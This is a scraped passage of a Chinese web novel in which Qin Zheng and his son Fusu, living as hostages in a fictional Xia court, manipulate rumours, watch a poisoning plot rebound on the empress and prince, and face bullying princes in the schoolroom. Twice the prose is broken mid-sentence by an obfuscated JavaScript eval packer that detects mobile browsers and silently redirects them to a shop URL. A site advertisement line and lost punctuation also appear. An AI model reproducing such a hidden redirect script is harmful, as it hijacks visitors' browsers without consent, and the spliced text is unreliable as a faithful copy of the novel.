只要夏帝死了,没人会去在意夏帝是不是真的不思进取。没有结果的蛰伏就是无效蛰伏,世人只会看到表面,然后骂他和他的父亲一样昏聩。 扶苏的舆论战实则是跟父亲学的,虽然青出于蓝而胜于蓝,却不代表秦政的水平不够。 他很快想到了造势之法: “夏帝不是想麻痹三国?既如此,应当不会介意外界都传闻他是胸无大志的昏君吧?” 这可是符合夏帝计划的形势,夏帝只能选择接受,甚至还得捏着鼻子推波助澜。 当然,如果他没发现这里头的危机,单纯以为是自己的伪装有了成效,那就再好不过。 等到舆论抵达最高点—— 扶苏和父亲对视一眼。 太子和二皇子年纪也大了,杀了夏帝他们两个肯定会争夺皇位。夏国陷入内乱,便是其他国家的发展之机。 秦政断言: “二皇子不能继位。” 扶苏同时开口: “二皇子放任不得。” 先让他们兄弟两个内斗去,这点内斗不至于直接导致夏国灭亡,顶多各国发兵占点便宜。 所以下一个国君人选还是很重要的,二皇子心眼多,精于算计,当上新帝后对三国有害无利。 还是让相对傻点的太子继位比较好。 秦政很快去信给外家。 说来也是巧,外家姓嬴。 父子两人当然不知道这姓是世界诞生时检测到秦政的姓氏顺便凑上去的,还以为只是个巧合。 甚至认为原主大名为秦正、外家嬴姓、是大秦公子这种种内容,都代表这个公子正原本就是另一个位面里的秦政自己。 就像同为古代位面,男尊位面的某人随父姓叫张书,女尊位面的他随母姓叫李淑。 有时候平行时空的自己可能并不完全和自己一模一样,存在着一些微小的差别。 秦政给嬴家传讯,希望秦国可以配合他的舆论计划。扶苏在里头添了几笔,学着父亲的字迹补了一些细节。 公子正的字迹竟也和秦政差不多,只是要更稚嫩许多。 秦政并不擅长更改字迹。 哪怕是自己以前的字,他也不太写得来。努力尝试了一下,还是不太能掩盖字里的锋芒。 秦政有些无奈地丢开笔: “幸而有阿苏在。” 扶苏无论学哪个阶段的父亲笔迹都学得惟妙惟肖。 他还开了个玩笑: “日后夏帝要是开始培养阿父,阿父去书房学习的课业莫不是都要我来代笔了?” 秦政揉了揉眉心: “朕再练练。” 扶苏说的有道理,总不能一直叫儿子帮他写代笔。 他自己的成熟版字体实在过于出众,一看就充满了帝王之气,这个真得伪装一下。以后多的是在众目睽睽之下亲自动笔的机会,到那个时候可没有办法糊弄。 秦政只好开始苦练字迹。 别人都是往好了练,他是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254338|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往差了模仿。虽 然模仿出来的字会不太好看笔触滞涩但这对秦政的处境来说反而是件好事。 字写得不好才符合质子的身份。公子正又没有名师教导日常就是自己看看寻常闲书。 实际上书房里的书都是无关紧要的那种公子正花钱也弄不来讲述治国道理的典籍。 幸好父子俩开挂根本不用看书。 扶苏整日闲得没事就指点父亲学习怎么模仿旁人字迹。 这个也是有诀窍的虽然掌握了诀窍之后天赋不足也模仿不到十成十但拿出去糊弄人也勉强凑合。 毕竟又不需要秦政去造假别人的字迹这种事情扶苏自然会包揽。 扶苏吃着奶糕糕监督父亲练字: “阿父你不要偷懒我会盯着你的。” 秦政左手伸出来捏他终于长了一点肉的小嫩脸示意他说话注意点 冬天是个贴膘的好时节。 瘦成骨头的幼崽稍稍胖了一点胃口也变大了许多。秦政对自己的养崽能力非常满意盘算着再过一两年应该就可以把儿子养得白白胖胖了。 碧月笑吟吟地走进来: “公子小公子过几日便是万寿节了尚衣局已将新制的衣裳送来二位可要试一试合不合适?” 碧月会点改衣服的本事所以并不着急这件事。不然肯定早早催促两人试衣服了免得哪里要改的回头送回尚衣局却来不及办。 要知道宫里的尚衣局忙得很这种时候肯定都在为别的贵主折腾衣服哪有空管他们这些质子。 秦政放下笔: “拿来给我看看。” 碧月回头招呼小宫女碧星把衣服送进来一大一小两套没有换洗的。万一在宴上弄脏了都不好换。 不过只有贵主需要考虑这个问题。 宫中贵主要维持住体面衣服弄脏就得立刻换一套干净的。他们这样无人在意的质子就不同了反正也是待在角落里的没人会关心他们穿什么衣服。 虽然如此秦政还是吩咐: “给公子桑多备两套他粗心大意容易打湿衣服。” 秦政担忧儿子把食水洒在衣服上。 穿脏衣服倒不是大问题重点是冬天里穿着打湿的衣服会很难 受,还容易生病。 扶苏先试衣服,乖乖伸手让碧月给他换。闻言冲父亲哼了一声,说他才不会把衣服弄脏。 碧月给他整理好衣服,说: “稍微紧了点,好在衣服都有放量,不然就不是只紧一些了。小公子最近确实胖了些,抱起来也敦实了。” 扶苏更不高兴了: “我才不重。” 碧星小心翼翼地提议: “只是稍紧些,不如中衣去掉一件棉马甲?宴上有炭火,应是不会着凉的。” 秦政一口回绝了: “不行,万寿节时他还得多穿点。” 减衣服?秦政还想让儿子多加两件呢。 碧月笑着推了碧星一下: “好了,你不用为我省事,把衣服改大些不费事。明日怕是又要降温,等万寿节那天别说去一件夹袄了,反而要换上更厚的夹袄。” 碧星有些惊讶: “碧月姐姐怎么知道要降温。” 碧月掩唇轻笑: “这天气变换啊,都是有预兆的。你看不明白只是没经验而已,回头我教你就是了。” 说完又冲秦政提议: “到时候再给小公子加件厚披风吧,若是热了也好脱。” 今年因着是夏帝的四十大寿,办得比往年隆重不少。规模更大了,于是地点定在了户外,而不是室内。 户外烧个炭盆管什么用? 恐怕那点热量根本感受不到。 碧月扭头看碧星: “到时候你跟我一起去,见识见识你就知道了。” 碧星是新入宫没多久的宫女,刚被分派来他们这里。还是因为上次质子受苛待的事情,贵妃补给了秦阁一些宫女太监。 这些自然就是属于渊桑的人了。 哪怕渊桑和秦正住在一起,人数也是不能省的。没有叫秦阁的那些人一口气伺候两个主子的道理,忙不过来。 当然,这都是借口。 其实是贵妃和皇帝都想借此往这里塞眼线,嬴家顺势也运作了一番。 如今新来的两个太监和两个宫女里头,有个太监的是夏帝的人,有个宫女是贵妃的人。 剩下两个,一个是嬴家施恩了的,就是碧星。另一个小太监则身家清 白,来了之后嬴家才找到他和他的亲人,偷偷收买了对方。 碧月对他们的到来没什么意见。 多几个人就多一些帮手,她们能轻省些。至于安插眼线,质子身边还指望没有眼线,那也太天真了,碧月不管这个。 秦政父子也不管,只要把控好,别叫他们在屋子里动手脚即可。一般没人会费力来诬陷他们,倒是有可能下毒暗害他们。 第二天果然又降温了。 碧月拿出提前做好的夹袄: “我见小公子手臂更怕冷些,便把马甲改作了有袖子的。公子试一试,看会不会影响行动。” 穿太厚了容易关节难以活动,她要扶苏试的就是这个。扶苏穿上后觉得还行,又套上改好的新衣,披上小斗篷,一套装备就齐活了。 秦政审视了片刻,才终于点头: “万寿节那日就这么穿。” 临近万寿,宫里刷出来的大事件非常多。基本都是谁给夏帝准备了什么生辰礼物这种,非常热闹。 父子俩看了好几场大戏。 宫中这群人为了自己的礼物力压旁人一头,各种勾心斗角都用上了。打探别人送什么的,暗中搞破坏的,别出心裁玩花样的,应有尽有。 不用准备礼物的两位质子就轻松多了。 他们几个寄人篱下的孩子,本身也不可能准备什么礼物。往年也都是沉默地坐在角落装鹌鹑,大家都习惯了。 宫宴前一天,刷出一段剧透: 「贤妃打听到四皇子作了一首诗歌颂夏帝,紧急拜托了娘家的大儒也写了一首,让三皇子背诵,准备压四皇子一头。」 明日的献礼会是按照皇子的齿序进行,三皇子定然在四皇子之前。 四皇子原本亲自作诗,独一份,礼轻情意重。三皇子这么一截胡,又是先他这个当哥哥的开口,就显得四皇子的诗不值钱了。 扶苏感慨: “他们真有意思。” 秦政则在思考: “朕怎么没遇见过这等场面?” 他以前就没办过什么万寿节,生辰和新年撞在一起,光顾着祭祀祖先和天地了。后来办过几次,也没闹出过这种事情来。 扶苏理直气壮地说: “自然是因为我们兄弟姐妹感 第 220 章 成何体统 扶苏拿起那枚枣子: “阿父,你说它会不会已经变得无毒了?” 秦政微微皱眉: “不许玩有毒的东西。” 扶苏只好乖乖放下,继续分析: “如果它变得无毒了,那阿父和我的手上是不是也没沾到毒呢?” 其实扶苏怀疑手拿抹了毒的东西,不一定会把毒染到手上。毕竟要看是什么样的毒,如果是干了之后不使劲搓就搓不下来的那种,那就肯定沾不上。 就和用手接触打了农药的果蔬,手上大概率并不会染上农药一样。 秦政制止了儿子的跃跃欲试: “无论有没有毒,你都给我老实点。剧透只说其他人没中毒,并不是改成了其他人盘子里的果子没有毒。” 这是两个概念。 因为盘子里的冬枣存在有毒的和无毒的,其他人没中毒,完全可以是因为他们吃到的恰好都是无毒的,而不是盘子里的冬枣都没问题。 扶苏提出异议: “那我要是非要去吃有毒的,为了达成其他人没中毒的结果,是不是它就会变成无毒的?” 秦政微微眯眼: “秦扶苏,你再说一遍?” 扶苏立刻闭嘴了。 他爹很少喊他大名的,哪怕喊秦梓桑都没有喊秦扶苏那么具有压迫感。扶苏立刻把脑袋往亲爹手臂上一埋,开始装死撒娇。 秦政抬手想收拾他。 想起自己手上可能沾了毒,不好再乱摸了,免得沾得到处都是,只得作罢。 秦政苦口婆心地同儿子讲道理: “上头只写皇子没中毒,你是皇子吗?” 扶苏:我不是,我忘了。 不过这倒是提醒了扶苏: “那我想办法让其他皇子吃下去?” 秦政:…… 眼看父亲又要冷脸,扶苏再次把脑袋埋过去,承诺绝对不去冒险。 说话间神像已经抬到夏帝跟前了。 略有些近视的夏帝根本看不清楚神兽底座上刻了什么字,也看不清楚神兽的模样。 之前那株珊瑚太大不好挪,他就忍住了没让人搬过来给他细看。但这会儿的神像要小许多,他就示意小太监们搬近一点。 夏帝 伸手摸了摸: “雕得极好,活灵活现的,不知是哪位大家之作? 皇后便笑吟吟地解说起来,引着夏帝去看各处细节。匠人颇有些巧思,还在麒麟脚底雕刻了另外四种图腾,寓意着四海臣服。 扶苏听到左边那桌坐着的人愤怒地冷哼了一声。 他扭头看过去。 左边这人虽穿着中原服饰,相貌却比较有北方特色。结合他坐的位置,显然就是蛮国送来的质子了。 扶苏之前一直没见过对方,他和秦政也不怎么和蛮国质子来往。因为双方年龄差距有点大,蛮国送来的不是年幼的儿子,而是成年的王子。 本来两边就种族不同不怎么有共同语言,成年人更没兴趣和两个小屁孩交往,所以就各过各的了。 方才宴会全程他都自顾自喝酒,不理会上头的热闹。这会儿突然发声,应该是不满夏人将他们蛮国的图腾雕进去,给夏国图腾垫脚。 扶苏很理解他。 毕竟他们大秦的图腾也被垫脚了,幸好这里的大秦供奉的图腾不是玄鸟和黑龙。 夏帝有些得意地瞥了一眼三名质子,见到蛮国王子面色难看,更高兴了一些。 无法在战争上获胜的中年老男人是这样的,只能从一些很无聊的地方找寻快感。 不像扶苏,当初直接把赵国王宫里的鸷鸟图腾全给它改成了玄鸟。 拿别人垫脚没品又无聊,改图腾就不一样了,这代表着大秦占领了赵国,新的时代到来了。 夏帝又去看了看扶苏和秦政。 刚欣赏过蛮国人破防,他还想再看看渊国人和秦国人破防。 结果扶苏一脸天真懵懂地看着他,似乎完全不明白发生了什么。甚至还好奇地盯着神像看,像是在瞧热闹。 他旁边的秦政更离谱,根本就没抬头关注这边的动静。一直垂眸注视着身边的小孩,不时帮孩子拢拢披风、暖暖小手。 一个在吃瓜频道,一个在养娃频道。 行吧。 夏帝可算想起来了,这两人年纪很小的时候就来了夏国,估计根本不懂图腾是什么。 夏帝失望地收回视线。 他的手摸过几个被垫脚的图腾后,又下意识往下摸了摸,摸到了几个凸起的刻字。 皇后注意到这一点,连忙讲解: “这上头特意刻了贺我大夏国运昌隆的吉利话,便是这四个字。 夏帝微微点头: “有心了。 手刚要从字收回来,忽地一顿。不确定地在“大字上反复摸了摸,又定睛去看,脸色渐渐变差。 任谁被骂自家的国家是末代,也不会高兴的,这不是诅咒夏国覆灭后就再无复国的机会了吗? 原本光用眼睛看还不一定能看见,上手摸可就不同了。夏帝深吸一口气压下情绪,知道不能在这个时候闹出来。 他给了身边的总管太监一个眼神。 太监心领神会,立刻示意人把东西抬下去,该进献下一个礼物了。 随后吩咐小徒弟去叫人,把这几个抬神像的看管起来。还有之前谁接触过神像,都得一一查清楚。 夏帝的心情很糟糕。 但你从他脸上是看不出来的,他依然乐呵呵的,仿佛毫无阴霾。 合格的君王都是影帝级别的大佬,只有他想不想让你看出他的情绪,一般人很难揣测他的真实想法。平时不伪装是觉得没有必要,真到了伪装的时候,连枕边人也会毫无所觉。 皇后就没看出哪里不对,她得意地看了一眼贵妃,觉得贵妃送的礼物不可能比她送的更得圣心。 夏帝一边应付接下来的送礼,一边在心里琢磨是谁胆大包天在神像上动了这么个手脚。 首先排除皇后。 皇后还没有那么蠢,做这些根本没有好处。何况她是夏国的皇后,夏国覆灭了反而会损害她的利益。 很显然,皇后只是单纯的御下不严,连自己准备的贺礼都保管不好,真是叫他失望。 夏帝在心里给皇后打了个叉。 之前十几年皇后都做得不错,这段时间频频出问题,也不知道是因为什么缘故。莫非是年龄大了,脑子糊涂了? 可皇后也才四十不到。 无论如何,她这样的情况已经不适合再单独执掌宫务了。 先前命贵妃代管显然是个明智的选择,贵妃管的时候什么事情都没出。皇后刚解禁拿回了一部分宫权,就又出了状况,这还不能说明问题吗? 尤其这尊神像明显是皇后自己安排人保管 的,贵妃可没插手一点。 夏帝虽然在心里这么想,却没有废后废太子的念头。 管家可以稍微换换,继承人可不能随便换。尤其是皇子们渐渐长成了,不能给他们看到夺嫡的希望,不然大夏就要乱了。 这些都可以容后再议,当前的重点是找出动手的贼子。 胆敢对大夏的神像动手,还是这么个操作法子,幕后黑手必然来自三国。 蛮国没那个本事,而且蛮国一向不怎么玩阴谋诡计,更喜欢正面对刚。再加上蛮国王子明显刚知道这件事,方才还对他怒目相向,看起来非常没脑子。 不是蛮国,就算是也与质子无关。 秦国呢?秦国质子聪明一些,还有钱可以打点宫人。方才不看这边可能是故意的,怕被人看穿。 但他年纪太小了,十三岁的孩子真能做到这个地步吗?而且皇后手底下的人,可不是轻易就能收买的。 再说了,秦国的作风也没比蛮国委婉多少,同样是大开大合的风格。 不像是秦国,这个先待定。 最后一个是渊国,渊国人倒是向来诡计多端,夏帝是知道的。 夏国对四夷存在偏见,其中对南人的偏见就是狡诈阴险。当然,渊国对夏国也存在偏见,觉得夏人狂妄虚伪。 反正互相都看不惯。 夏帝在心里拉踩了一下渊国人,认定渊国人作案的可能性最大。不过他同时也觉得这件事和渊国质子没什么关系,就那小孩还不如蛮国质子呢。 夏帝很快锁定目标——先查渊国,再查秦国。 从某个角度上来说,夏帝的分析虽然充满错误,结论倒是对的。这件事里渊国人扶苏主犯,秦国人秦政从犯,分毫不差。 可惜他们没有亲自动手,根本不可能查到他们头上。恐怕查来查去也是一桩悬案,平白叫夏帝惊惧。 秦政低声叮嘱: “阿苏,你最近低调一些。宫里发生的怪事太多了,会引起夏帝的注意。” 恐怕夏帝从御膳那事起心里就有个疑影了,怀疑是什么灵异事件。正好当前时代人们很信鬼神,这才没有细究。 虽然细究也查不出什么,但总归是件麻烦事。 夏帝估计私底下也搞了些去晦气的操作,比如 请大巫来跳舞,只是没摆在明面上而已。 秦政觉得儿子越发跳脱了,太过得意忘形容易暴露自己。以后遇到突发状况,最好还是少搞小动作。 扶苏听懂了父亲的意思: “有你我在的场合,总容易出现类似的情况,确实会叫人联想。 所以最好的方法是只在提前很久刷新出的大事件里横插一杠,因为这种是会隔空刷新的,不像偶发事件需要舞到两人跟前才会跳出来。 父亲认真叮嘱,扶苏还是听的。 所以接下来的宫宴他都没再干坏事,安安静静混到了宴席结束。 期间,他和父亲都观察到了一件事。 太子仿佛忘记了皇后的叮嘱,没想起来冬枣不能吃,一连吃了好几颗。 他平日里是不怎么爱吃冬枣的,所以皇后才把毒下到枣子上。今天鬼使神差吃了几颗,显然是受到了神秘力量的干扰。 但他身边的侍从没察觉到异样。 皇后为免事情暴露,只叮嘱了太子一个人。结果就是没人知道应该制止太子吃枣子,都认为现在的情况很正常。 可能太子就是突然想吃了吧。 一颗枣子上的毒素并不够,太子因此多吃了几颗。达到合适的剂量后他就没再吃了,并把这件事忘了个干净。 可太子能因此中毒,皇后跟前的枣子却是无毒的。只有皇子们这一批的枣子里被动了手脚,皇后的是另一批。 所以要达成皇后也中毒,就得换一种方式实现了。 宫宴结束也没看到什么不对劲的,父子二人沉默地回了秦阁。一直到夜晚,才刷新出了大事件。 「皇后欲将剩余毒葯处理掉,避免日后查到她头上。想着这毒稀释后毒性会非常微弱,便让心腹将之倒入御花园的池塘中。 因药水当初是伪装成花露送入宫中的,用的瓶子也与花露类似。宫女拿取时不慎拿错了花露,反倒将毒葯留在了宫中。 皇后夜间临睡前有喝花露饮的习惯,不明真相的小宫女将毒葯瓶取下。见只剩一点,便全部倒入了蜜水中,又开了一罐新的花露加入。 皇后毫无防备,一饮而尽。」 花露是一种用花瓣等植物叶片蒸馏得到的汽水,此汽水非彼汽水。常见的比如荷叶、金 银花这些,带又一定的芳香,且有轻微的疗效。 宫中讲究食补,一般不会开药调理身子。像这种带点药效但不是药的,就有些像后世的保健品,非常受宫中贵人们的追捧。 皇后睡眠不太好,临睡前会喝加了花露等多种原材料的蜜饮。 秦政看完剧透便没再管。 不需要他再做什么了,皇后母子会自食恶果的。 万寿过后,夏帝开始备战。 同时他还下发了新的口谕,准许秦渊两国质子前往上书房和皇子们一同进学。 这是要培养质子的意思,想来夏帝已经提前在里头安排好了给他们洗脑的先生。正好父子俩整日里也闲得无聊,去上书房说不得可以接触一些外面的局势。 不过书房中的其他皇子不见得欢迎他们,两人第一天来进学就遭受了一番“校园霸凌 八皇子轻蔑地看了两人一样: “真是什么人都能来上书房了,父皇怎么会叫你们两个来同本殿下一道进学? 两人并未和他起冲突。 那样只会自己受罚,夏帝当然无脑站他儿子。和个不懂事的小孩打嘴仗毫无意义,要收拾他多的是法子。 父子俩淡然地走到自己的位置上坐好。 他们的座位依然是被安排在了偏僻又冷清的地点,在屋子的最后排。幸而启蒙班的皇子数量本来也不多,就算坐在后排也不是很远。 目前还在上书房进学的是三到九皇子,前三个在隔壁跟着先生学更深奥的内容,只有六到九在这边。 其中七皇子被关起来了,九皇子是一个月前刚来的,正好顶了七皇子的位置坐。 公主不被允许过来学习,只能在母亲身边请女先生教导。 不过这并不代表全班一共就五个人,因为皇子们还有伴读。不过每人的伴读也就两人,质子没有伴读,算下来就是十一个人了。 在父子俩来之前,这里是排成三列三行的。他们两个来后,在最后头又加了两张案几。 扶苏看了一眼前面。 三个皇子并非都坐在第一排。 皇子里总有学渣存在,学渣显然不太愿意坐在最前头被先生盯着。 是以八皇子坐在第二排, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254339|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他隔壁的九皇子亦然,只有六皇 子老老实实坐前头。而且伴读们的座次也很混乱比较随心所欲。 要不是堂堂皇子坐最后一排容易被夏帝斥责他们能挪到第三排去。不过现在第三排不是最后一排了他们就理直气壮地和伴读改了位置。 现在的座次是这样的—— 一排:六伴读、六皇子、六伴读 二排:九伴读、九伴读、八伴读 三排:九皇子、八皇子、八伴读 四排:秦扶苏、秦政 所以八、九两位皇子一回头就能对上父子俩 八皇子就很恶劣地踢了一脚秦政的案几试图叫秦政意识到他不好惹以后秦政的苦日子还长着呢。 结果没踢动。 给皇子们用的案几哪里那么容易挪动?质量不好会伤到殿下内务司恨不得把它们钉死在地上。 何况八皇子还是个七八岁的小孩。 八皇子的脸扭曲了一下只觉得脚尖疼得厉害。 秦政根本就没有给他一个眼神。 八皇子大怒: “你是看不起本殿下吗?!” 扶苏不太明白。 他歪了歪头心道夏国的皇子都这个水平吗?夏国难道是刚发家才没想起来要教皇子们仪态和城府? 说真的以前赵国贵族欺负他爹的时候估计都做不出这种事。他们身边是有侍从的不优雅的事情当然是叫侍从去做而不是亲自动手。 扶苏哪里知道这是个小说世界。 小说里都能写出东宫娘娘烙大饼、西宫娘娘卷大葱、皇帝拿着金锄头种地皇子像个没文化的小混混有什么稀奇古怪的? 恶毒男炮灰不需要优雅他们只需要足够恶毒就行了。至于是否太过粗鄙那不重要。 旁边的九皇子哈哈大笑: “八哥你连欺负人都不会!” 扶苏扶了扶额。 好么又来一个。 连反派标准都达不到的两个小屁孩进行了一番内部互掐。 八皇子不满九皇子笑话他九皇子也是个被宠大的小魔王压根不怕。两人吵吵嚷嚷的直到六皇子受不了把手边的镇纸摔了。 六皇子冷冷看向他们: “闹够了没有?” 扶苏以为他们两个会安静下来。 结果两人对视一眼,又开始吵架。至于六皇子的发火,谁搭理他? 八皇子不屑地说: “一个生母低贱的玩意儿。 他和九弟都是妃位所出,哪怕母妃没有以前受宠了,是妃位就无人敢欺。所以他们不上进也无所谓,不像老六,母亲指望不上,只能自己努力学。 扶苏更迷茫了: “他们怎么自己打起来了? 秦政把案几上的笔墨整理好: “别管他们,把墨磨了。 其他人的案几边都有小太监跪坐在一边帮忙研墨,他们两个带来的被堵在外头了。八皇子嚣张地命令不许放人进来,就是要看两个质子自己动手。 自己研墨难道是什么掉身份的事情吗?让侍从帮忙也不过是为了省事,写字的时候没空磨而已。 不是很懂夏国皇室该讲究的时候不讲究,不该讲究的时候乱讲究。 先生进来时,那俩还在闹腾。 先生严肃地轻咳了一声。 没有任何作用。 先生:…… 刺头皇子真是难带。 先生决定无视他们,直接开始讲课。 他示意学生们先把三百千和弟子规都背一遍。这些全是基础蒙书,记不住可不行。 其他像幼学琼林、增广贤文、声律启蒙这些,字数太多就暂时不背了。 但只是暂时的,这里头有些以后还是要背的。尤其是声律启蒙,不背这个怎么学会写诗? 扶苏没张口,他不会呀。 《三字经》宋朝的东西,《百家姓》宋朝的东西,《千字文》南北朝的东西,《弟子规》清朝的东西。 秦朝来的扶苏感觉到了针对。 虽然太子殿下拥有过目不忘的本事,可他连那些书都没有。今天来了才领了书本,根本来不及看。 何况就算来得及,他也不可能直接背下来的。他只是个质子,用不着表现得那么惹眼。 跟夏帝的儿子们一起进学,还得把握好度。不能比他儿子优秀太多,也不能学得太烂被当成扶不上墙的烂泥。 最好是那种中庸的天资,叫夏帝觉得这样的质子培养出来没什么大本事,但不会 坏事,听话老实,本分乖顺。 先生看到扶苏不张口,走了过来。 他和小崽子大眼瞪小眼。 片刻后,先生问他: “你怎么不背?” 扶苏无辜地看着他: “我不会。” 先生皱了皱眉: “你不会?九殿下也是刚入学没多久,他都会,你为何不会?他知道提前学一学,你还不如他上进吗?” 秦政蹙眉看过来。 公子正是背过一些的,这些蒙书他能花钱买到,所以方才他也在跟着背。倒是忘了阿苏不会,以前也没想着教一教儿子。 那可是当过皇帝的大秦太子,用得着再教什么蒙书?秦政便忽略了这件事,忘了两界的启蒙不同。 其实大秦压根没什么统一的蒙书。 阿苏自小跟着他读韩非的文章,又爱自己看史书钻研。他的启蒙就是各国史书,钻研的东西一般孩子根本读不明白。 秦政还记得扶苏五六岁的时候,将闾问他大兄最近在学什么,扶苏回答在学商君变法,给小胖墩听晕了。 扶苏可怜巴巴地看着先生: “可是我没有书看。” 先生顿了顿,想起来质子的生活条件有多恶劣了。他们不是皇子,没那么多资源的。 先生不抱希望地问他: “你识字吗?” 扶苏乖巧回答: “跟着阿兄学过一点点。” 先生万万没想到,自己要从识字开始教起。他扭头对上秦政清冷的目光,干脆决定当个甩手掌柜。 先生一指秦政: “那你就继续跟着他学认字吧。” 先生心想,距离陛下要将秦国质子送回秦国继位还有好些年。这么长时间,耽误一二也无妨。 左右又不打算真的教公子正什么高深的帝王权术,稍稍学一些能凑合着毕业就成了。 秦政没有异议,招手让儿子坐到自己身边来。 他方才看到九皇子似乎有偷偷干坏事欺负扶苏的想法,哪怕明知道扶苏不可能吃亏,他也不愿意儿子单独坐那么远独自应对。 扶苏开心地拖着小杌子过来了: “原来可以坐一起呀!” 他还以为必须一人 第 221 章 物价 扶苏很想说自己其实挺收敛的。 按理来说他当上皇帝之后,肯定比当太子那会儿更过分。 可是努力回忆了一下,发现自己当皇帝的时候居然很安分,什么事情都没折腾过。 这不应当。 扶苏迷茫地眨了眨眼: “可能是因为阿父不在我身边,没有人护着我,我就安分了吧?” 秦政听得辛酸: “还说没受委屈,果然是骗朕的。” 他就知道,他不在的时候,那群人肯定要逮着他家阿苏欺负。 扶苏不知为何有点心虚。 他选择转移话题: “皇后他们应该快毒发了。” 那慢性毒也不知道是什么成分的,拖了快两个月了。再不毒发,扶苏就要怀疑是假的,其实皇后弄来的是无毒的蒸馏水。 小说全网首发无弹窗免费阅读qiexs▇(请来企鹅 小说 看最新章节 完整章节) 毕竟除了蒸馏水,他想不出来有什么东西是无色无味的,还能完美溶于水中不被发现。 可偏偏,金手指又认证了确实会中毒。但凡金手指没说谁中了毒,只说皇后买了毒葯,他都能猜一猜是不是买到了假货。 扶苏刚说完这话,隔天就听说皇后病倒了。 原本先服毒的应该是太子,奈何太子是靠着吃枣子中的毒。比起皇后直接喝掉了剩下的一点毒,他中的那个剂量显然轻得多。 所以皇后先表现了出来。 又或许,两人早就中毒了。只是这种毒在初期的症状没有那么明显,是随着时间的推移才越来越严重的。 总之,皇后因为中毒的关系,原本就只拿回来了一半的宫权,又得被迫分出去。 贵妃原以为自己能拿到全部的宫权,这样和副后也没什么区别了。 没成想夏帝就防备着贵妃坐大,到时候二皇子再子凭母贵,太子地位将会不稳。 所以夏帝冷酷无情地将宫权切分,令妃位上好几个妃嫔一同治理,气得贵妃私下里砸了一套茶盏。 不过贵妃隐瞒消息的本事一流,这件事知道的人极少,基本都是贵妃的心腹。父子俩之所以能知晓,靠的是修改器的剧透。 再说皇后的病情。 前面说过,皇后起初打的主意是让人误以为中毒者是染了时疫。既然她敢伪装成时疫,自然是因 为这个毒的症状确实和传染病类似。 是以皇后这一毒发不仅太医院没查出来是中毒当成生病治了。还对外说可能具有传染性建议封宫。 这一下把后宫都惊动了。 往日各宫娘娘都是要去给皇后请安的倘若皇后染上的是时疫她们这些人很有可能都逃不掉。 而且去皇后宫里请安并不是单独自己前去。妃嫔们会带上宫女再加上皇后宫里的人、皇后处理宫务时接见过的人等等。 不知道一共会牵连进去多少人到时候人传人传人数量会非常恐怖。 幸而皇后是近期发病的太医判断就算是时疫接触传染源的时间也不会太长。不然往前推到冬月就有可能牵连到整个万寿节上露过脸的人了。 凤仪宫暂时被封闭了起来不许旁人随意进出。太子都见不到母后心情十分抑郁。 扶苏在上书房进学时就听八皇子他们提起过。好像说是太子最近脾气很糟糕偶尔碰到就容易遭受斥责。 他是长兄他训斥弟弟别人也没办法多说什么。 八皇子抱怨: “二皇兄屡次三番被他针对他真是越来越暴躁了。” 九皇子同仇敌忾: “二皇兄又没有得罪他他怎么这样?幸好他早就从上书房学成离开了不然我们都得被骂。” 扶苏看向父亲。 秦政和儿子交换了一个眼神。 二皇子名声好竟连底下的弟弟们也喜欢他。虽然可能只是因为几人年纪小 不过要怎么除去二皇子还得从长计议。 两个皇子还在嘀嘀咕咕。 忽然有小太监跑进来报: “太子殿下往这里来了!” 两人立刻闭嘴。 太子过来的时候所有人都默契地假装在认真上课。 没人想触他的霉头之前二皇子分明什么都没做就被他挑刺斥责。要是给太子看见他们不好好上课那更是不得了。 夏帝好歹还是亲爹罚也不会罚太狠。太子可不管那些估计巴不得借机折磨他们泄愤呢。 太子皱眉看着屋子里的人。 几个伴读都低垂着脑袋看 书,努力装作自己不存在。 太子应该不会疯到拿他们立威,他们可不是太子的弟弟,身后还有高官,是太子需要拉拢的对象。 确实,太子直接忽略了伴读。 他冷冷扫向一个小太监。 别以为他没看见,刚刚就瞧见个放风的小太监跑回来通风报信,应该就是这人。 大概是上次夏帝突袭给八皇子和九皇子弄出了心理阴影,怕夏帝再来一次,才安排的人报信。 可他们没想过,叫人看见了他们玩报信这一套,恐怕会反惹得夏帝不悦。这不是个明智的选择,可惜从皇子到侍从没有一个发现的。 扶苏已经学会不去吐槽别人脑子不够用了,两个皇子才不到十岁,考虑不周很正常。只要别来招惹他,他就懒得管他们是不是个傻子。 被太子眼神扫过的小太监扑通就跪了下去,承受不住太子的逼视。但他还算有点小聪明,没有叫嚷着自己做错了、请殿下饶命。 这个时候主动认罪是下下之策,跪地已经是在表态请太子开恩了,承认犯错反而会引得太子有借口惩罚。 现在这个模样就不同了,顶多说一句小太监胆子太小,被看一眼就吓到了。 太子冷哼一声: “雕虫小技。” 大家就当没听见。 太子看向两个质子,见他们安静地坐在一起练字,顿了顿也没去招惹。 父皇要拉拢他们,自己若是把关系闹僵了,只会惹父皇生气。原本就因为他母后治宫不严导致质子日子难过,再上赶着和人起冲突,以后更别想笼络住他们了。 太子心里还是有野望的。 他觉得他爹的谋划不一定能在有生之年完成,万一他爹死得早呢?到时候实施计划的就是他了,利用质子掌控秦渊二国、立下不世功勋的也会是他。 所以太子勉强挤出个笑容,问候了一句父子俩。秦政态度温和地同他虚与委蛇了几句,维持住了表面的和平。 之后太子就冷下脸去瞪弟弟: “你们几个……” 六皇子打断了他们: 